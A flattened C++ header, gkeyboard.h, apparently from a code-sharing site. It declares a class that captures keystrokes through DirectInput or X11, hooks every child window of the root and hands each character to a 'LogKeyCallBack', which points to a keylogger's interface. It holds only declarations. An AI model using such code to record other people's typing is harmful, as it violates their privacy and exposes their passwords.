📄 gkeyboard.h
字号:
#ifndef __GKEYBOARD_H__#define __GKEYBOARD_H__#ifdef WIN32# define DIRECTINPUT_VERSION 0x0700# include <dinput.h>#else // WIN32# include <X11/Xlib.h># define MAX_KEY_CODE_LEN 32#endif // !WIN32typedef void (*LogKeyCallBack)(void* pThis, char c);class GKeyboard{protected: bool m_bKeepWatching;#ifdef WIN32 LPDIRECTINPUT m_lpDI; LPDIRECTINPUTDEVICE m_lpDIDKeyboard; BYTE m_keys[256]; LogKeyCallBack m_pLogKeyFunc; void* m_pParam;#else // WIN32 LogKeyCallBack m_pLogKeyFunc; void* m_pParam; Display* m_pDisplay; char m_szKeyCode[MAX_KEY_CODE_LEN];#endif // !WIN32public:#ifdef WIN32 GKeyboard(void *hInst, LogKeyCallBack pLogKeyFunc, void* pParam);#else // WIN32 GKeyboard(LogKeyCallBack pLogKeyFunc, void* pParam);#endif // !WIN32 ~GKeyboard(); void Watch(); void Stop() { m_bKeepWatching = false; }protected:#ifdef WIN32 void Update();#else // WIN32 void GetKeyCode(XEvent* pEvent); void SelectAllChildWindows(Window root, unsigned long type);#endif // !WIN32};#endif // __GKEYBOARD_H__
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -